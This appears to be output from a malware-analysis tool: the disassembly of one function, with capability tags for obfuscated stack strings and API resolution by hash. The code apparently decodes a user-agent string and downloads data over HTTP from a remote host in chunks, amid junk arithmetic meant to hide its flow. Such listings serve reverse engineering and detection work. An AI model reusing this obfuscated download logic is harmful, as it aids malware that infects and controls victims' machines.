Function at 0x41a958
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x5a0
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x60], edx
mov ebp, ecx
mov dword [esp + 0x14], 0x82938866
push edi
mov dword [esp + 0x1c], 0x487a8585
mov ecx, ebx
mov dword [esp + 0x20], 0x3949474d
mov dword [esp + 0x24], 0x86887c41
mov dword [esp + 0x28], 0x828d7a89
mov dword [esp + 0x2c], 0x547e857b
mov dword [esp + 0x30], 0x626c6639
mov dword [esp + 0x34], 0x4750395e
mov dword [esp + 0x38], 0x70395449
mov dword [esp + 0x3c], 0x887d8782
mov dword [esp + 0x40], 0x67398c90
mov dword [esp + 0x44], 0x474e396d
mov dword [esp + 0x48], 0x6239544a
mov dword [esp + 0x4c], 0x69887f87
mov dword [esp + 0x50], 0x47818d7a
mov word [esp + 0x54], 0x424a
mov al, byte [esp + ecx + 0x18]
sub al, 0x19
mov byte [esp + ecx + 0x6c], al
inc ecx
cmp ecx, 0x3e
jl 0x41a9eb
mov eax, dword [0x42ba68]
mov esi, ebx
and eax, 0xa622732a
mov byte [esp + 0xaa], bl
mov dword [0x42ba7c], eax
and eax, 0x13f5
mov word [0x42ba74], ax
imul eax, eax, 0x12e14ec5
push 0x3c
pop edi
push edi
push ebx
mov dword [str.__], eax
lea eax, [esp + 0x20]
push eax
call fcn.00403960
add esp, 0xc
mov eax, 0xa186
xor ax, word [0x42ba94]
mov edx, 0xb3507b39
mov word [0x42ba64], ax
lea eax, [esp + 0x6c]
push ebx
push ebx
push ebx
push ebx
push eax
push 2
pop ecx
call fcn.0041568d
call eax
movzx ecx, word [0x42ba94]
xor ecx, 0xe4a6
mov dword [esp + 0x5c], eax
test eax, eax
je 0x41b1a3
movzx edx, word [0x42ba64]
mov eax, 0x1ac2
push dword [ebp]
sub dx, ax
mov dword [esp + 0x1c], edi
add ecx, 0x835196dd
mov dword [esp + 0x30], 0x104
mov dword [str.__], ecx
xor ecx, 0xc57d
mov word [0x42ba74], cx
lea ecx, [esp + 0xb0]
lea eax, [edx - 0x215]
mov dword [esp + 0x2c], ecx
movzx eax, ax
xor edx, 0x10bc
imul eax, eax, 0xf258fdd9
xor ecx, ecx
mov word [0x42ba94], dx
inc ecx
or edx, 0xdf57
mov word [0x42ba64], dx
mov edx, 0x9e7f4339
mov dword [0x42ba68], eax
or eax, 0x7a6c9ea0
mov dword [0x42ba7c], eax
call fcn.0041568d
call eax
and dword [0x42ba68], 0xd03ed79d
mov ecx, eax
mov eax, dword [str.__]
add ecx, ecx
or eax, 0xea4f
mov dword [esp + 0x48], ecx
mov word [0x42ba64], ax
mov eax, 0xc372
and word [0x42ba94], ax
push ecx
call fcn.0040570b
pop ecx
mov ecx, dword [0x42ba7c]
mov edx, 0xc589a631
mov dword [esp + 0x44], eax
mov eax, ecx
or eax, 0xac68f646
xor ecx, 0xf20cb477
mov dword [str.__], eax
lea eax, [esp + 0x18]
push eax
push 0x80000000
push ebx
push dword [ebp]
mov dword [0x42ba7c], ecx
push 2
pop ecx
call fcn.0041568d
call eax
test eax, eax
je 0x41b169
imul eax, dword [0x42ba7c], 0x4204
mov edx, 0xe4f8f001
movzx ecx, word [0x42ba74]
push ebx
push 0x4400000
push 3
push ebx
push ebx
push dword [esp + 0x44]
or ecx, 0xeb802a13
mov word [0x42ba64], ax
push dword [esp + 0x40]
mov dword [0x42ba68], ecx
mov eax, 0x9e80
push dword [esp + 0x78]
and word [0x42ba94], ax
or ecx, 0xcbcc5164
mov dword [str.__], ecx
push 2
pop ecx
call fcn.0041568d
call eax
mov cx, word [0x42ba64]
mov edi, eax
mov edx, dword [str.__]
mov eax, 0x4ed5
add cx, ax
mov dword [esp + 0x68], edi
mov word [0x42ba74], cx
test edi, edi
je 0x41b150
mov ecx, dword [0x42ba68]
mov edx, 0x84480100
lea eax, [ecx - 0x7584994f]
movzx ecx, cx
mov dword [0x42ba7c], eax
mov eax, ecx
and ecx, 0x639f
or eax, 0x6aa0
mov word [0x42ba74], cx
imul ecx, ecx, 0x1bec5ace
mov word [0x42ba64], ax
movzx eax, word [0x42ba94]
and eax, 0x8554c559
cmp dword [esp + 0x24], 4
mov dword [0x42ba68], eax
mov dword [str.__], ecx
jne 0x41ac74
add eax, 0x7fed
mov edx, 0x84c83100
mov word [0x42ba64], ax
push ebx
push edx
push ebx
push ebx
push ebx
push dword [esp + 0x58]
and ecx, 0x37d9
mov edx, 0xad1bc01
push dword [ebp + 4]
mov word [0x42ba94], cx
push edi
push 2
pop ecx
call fcn.0041568d
call eax
mov edi, eax
movzx eax, word [0x42ba74]
and eax, 0x48d1
imul eax, eax, 0x4f41c39f
mov dword [0x42ba7c], eax
test edi, edi
je 0x41b107
xor dword [0x42ba68], 0xb686ff90
and eax, 0xff29
mov word [0x42ba74], ax
mov ecx, 0x1a9a
movzx eax, word [0x42ba94]
mov edx, 0xc4435159
xor word [0x42ba64], cx
and eax, 0x423e20be
sub eax, 0x2ca8b27f
mov dword [esp + 0x60], 0x4380
push 4
mov dword [str.__], eax
lea eax, [esp + 0x64]
push eax
push 0x1f
push edi
push 2
pop ecx
call fcn.0041568d
call eax
mov ecx, dword [ebp + 0x20]
mov eax, 0xd200
add word [0x42ba94], ax
test ecx, ecx
je 0x41adba
mov eax, dword [0x42ba68]
mov edx, 0xc4435159
add eax, 0xfffffc3c
xor dword [str.__], 0xf8e76aee
mov word [0x42ba64], ax
imul eax, ecx, 0x3e8
push 4
mov dword [esp + 0x14], eax
mov eax, dword [0x42ba7c]
and eax, 0xd994
xor eax, 0x7fb3
sub eax, 0x4908
mov word [0x42ba74], ax
lea eax, [esp + 0x14]
push eax
push 6
push edi
push 2
pop ecx
call fcn.0041568d
call eax
mov ecx, dword [0x42ba7c]
mov edx, 0xc4435159
push 4
lea eax, [ecx - 0x66d0]
mov word [0x42ba94], ax
imul eax, ecx, 0xf1d7f89b
mov dword [0x42ba7c], eax
lea eax, [esp + 0x14]
push eax
push 5
push edi
push 2
pop ecx
call fcn.0041568d
call eax
push dword [ebp + 0x14]
mov eax, dword [str.__]
mov edx, 0x8e87bc01
push dword [ebp + 0x10]
add eax, 0xffffb855
push dword [ebp + 0xc]
mov word [0x42ba74], ax
push dword [ebp + 8]
push edi
push 2
pop ecx
call fcn.0041568d
call eax
test eax, eax
je 0x41b0e0
mov eax, dword [0x42ba68]
mov ecx, 0x8749
add eax, 0x2fe40f84
mov dword [esp + 0x14], 4
mov dword [0x42ba7c], eax
mov edx, 0xacec4ce5
mov ax, word [0x42ba74]
or ax, cx
movzx ecx, ax
mov word [0x42ba74], ax
mov eax, 0xf90
add ax, word [0x42ba64]
movzx eax, ax
imul eax, eax, 0x1d6d2d3b
push ebx
mov dword [0x42ba68], eax
or eax, 0xd8c17013
mov dword [str.__], eax
lea eax, [ecx - 0x3f4a]
lea ecx, [esp + 0x18]
mov word [0x42ba94], ax
push ecx
lea eax, [ebp + 0x18]
push eax
push 0x20000013
push edi
push 2
pop ecx
call fcn.0041568d
call eax
test eax, eax
jne 0x41ae93
mov eax, dword [str.__]
imul ecx, eax, 0xc5a2
or eax, 0x2a61533d
mov dword [0x42ba7c], eax
add eax, 0xffffffc4
or dword [ebp + 0x18], 0xffffffff
mov word [0x42ba94], ax
jmp 0x41aea0
mov cx, word [0x42ba74]
mov ax, word [0x42ba94]
movzx eax, ax
xor eax, 0x253d9a9c
mov dword [esp + 0x14], ebx
mov dword [0x42ba68], eax
movzx eax, cx
xor eax, 0x2b9c549e
mov dword [str.__], eax
mov eax, 0x3d78
xor ax, word [0x42ba64]
mov word [0x42ba74], ax
jmp 0x41b00b
cmp dword [esp + 0x10], ebx
je 0x41b035
mov eax, dword [0x42ba68]
movzx edx, word [0x42ba74]
add eax, 0x5a00
movzx ecx, ax
mov dword [esp + 0x58], ecx
mov ecx, edx
mov word [0x42ba64], ax
xor ecx, 0xf99028a0
mov eax, dword [str.__]
add eax, 0x2e9c1c57
mov dword [0x42ba7c], ecx
mov dword [0x42ba68], eax
test esi, esi
je 0x41af50
mov eax, dword [esp + 0x58]
or edx, 0xf65c9a02
mov ecx, dword [esp + 0x10]
movzx eax, ax
inc ecx
or eax, 0x8abe4cf5
mov dword [0x42ba7c], edx
mov dword [str.__], eax
mov eax, dword [esp + 0x14]
add eax, ecx
push eax
push esi
call fcn.00405c8c
pop ecx
jmp 0x41af89
movzx eax, word [0x42ba94]
xor eax, 0x5bea0b56
mov dword [str.__], eax
mov eax, dword [esp + 0x58]
movzx eax, ax
sub eax, 0x5e4ab480
mov dword [0x42ba68], eax
lea eax, [ecx + 0x2440]
mov word [0x42ba64], ax
mov eax, dword [esp + 0x10]
inc eax
push eax
call fcn.0040570b
mov esi, eax
mov ax, word [0x42ba74]
pop ecx
mov ecx, 0x59c8
add ax, cx
movzx ecx, ax
mov word [0x42ba74], ax
test esi, esi
je 0x41b0d1
movzx eax, word [0x42ba64]
push dword [esp + 0x10]
add eax, 0xd1bc688d
imul ecx, ecx, 0x79dff645
mov dword [str.__], eax
add eax, 0x71a7
mov word [0x42ba94], ax
lea eax, [esp + 0x1b4]
push eax
mov eax, dword [esp + 0x1c]
add eax, esi
mov dword [0x42ba7c], ecx
push eax
call fcn.00401d70
mov eax, dword [esp + 0x20]
add esp, 0xc
add eax, dword [esp + 0x10]
xor dword [0x42ba68], 0x9a0ab7fe
mov byte [eax + esi], bl
mov eax, dword [esp + 0x10]
add dword [esp + 0x14], eax
lea eax, [esp + 0x10]
mov edx, 0xa7abc4a5
push eax
push 0x400
lea eax, [esp + 0x1b8]
push eax
push edi
push 2
pop ecx
call fcn.0041568d
call eax
test eax, eax
jne 0x41aed5
mov eax, dword [0x42ba68]
mov edx, dword [esp + 0x14]
imul ecx, eax, 0xd7dd1e21
mov dword [0x42ba68], ecx
test edx, edx
jne 0x41b07f
test esi, esi
je 0x41b07f
imul eax, ecx, 0xf2a4
push esi
or eax, 0x96bb
mov word [0x42ba94], ax
lea eax, [ecx - 0x4d8bfef0]
mov dword [str.__], eax
call fcn.004056f0
mov edx, dword [esp + 0x18]
pop ecx
mov ecx, dword [0x42ba68]
mov ax, word [0x42ba74]
mov ebx, 0x4b08
xor ax, bx
mov dword [ebp + 0x1c], edx
mov word [0x42ba94], ax
xor ecx, 0x582
movzx eax, ax
mov bl, 1
or eax, 0x59cbe666
mov word [0x42ba64], cx
mov ecx, dword [esp + 0x64]
mov dword [0x42ba7c], eax
imul eax, eax, 0xe456f05
mov dword [ecx], esi
mov ecx, 0x5347
add word [0x42ba74], cx
mov dword [str.__], eax
jmp 0x41b0e5
imul eax, dword [0x42ba68], 0x78dbc0a1
jmp 0x41b03a
mov eax, dword [str.__]
push edi
and eax, 0xa1fdb677
mov edx, 0xc71af175
push 2
pop ecx
mov dword [0x42ba68], eax
call fcn.0041568d
call eax
mov ecx, dword [0x42ba68]
jmp 0x41b119
mov ecx, dword [0x42ba68]
sub ecx, 0x7d3c5553
mov dword [0x42ba68], ecx
push dword [esp + 0x68]
lea eax, [ecx + 0x3badba20]
mov edx, 0xc71af175
mov dword [str.__], eax
xor eax, 0xb26b
mov word [0x42ba74], ax
imul eax, ecx, 0xeb53
push 2
pop ecx
mov word [0x42ba64], ax
call fcn.0041568d
call eax
jmp 0x41b169
movzx eax, cx
add eax, 0x22cdf147
mov dword [0x42ba7c], eax
lea eax, [edx + 0x1a0d724a]
mov word [0x42ba64], ax
movzx eax, word [0x42ba74]
push dword [esp + 0x44]
and eax, 0x57069999
mov dword [str.__], eax
call fcn.004056f0
sub dword [0x42ba68], 0x7e01fa7d
mov edx, 0xc71af175
pop ecx
push dword [esp + 0x5c]
push 2
pop ecx
call fcn.0041568d
call eax
jmp 0x41b1af
add ecx, 0xaab69781
mov dword [0x42ba7c], ecx
mov cx, word [0x42ba64]
mov eax, 0xc246
pop edi
pop esi
and cx, ax
xor dword [str.__], 0xb4ee584d
pop ebp
mov al, bl
mov word [0x42ba94], cx
pop ebx
add esp, 0x5a0
ret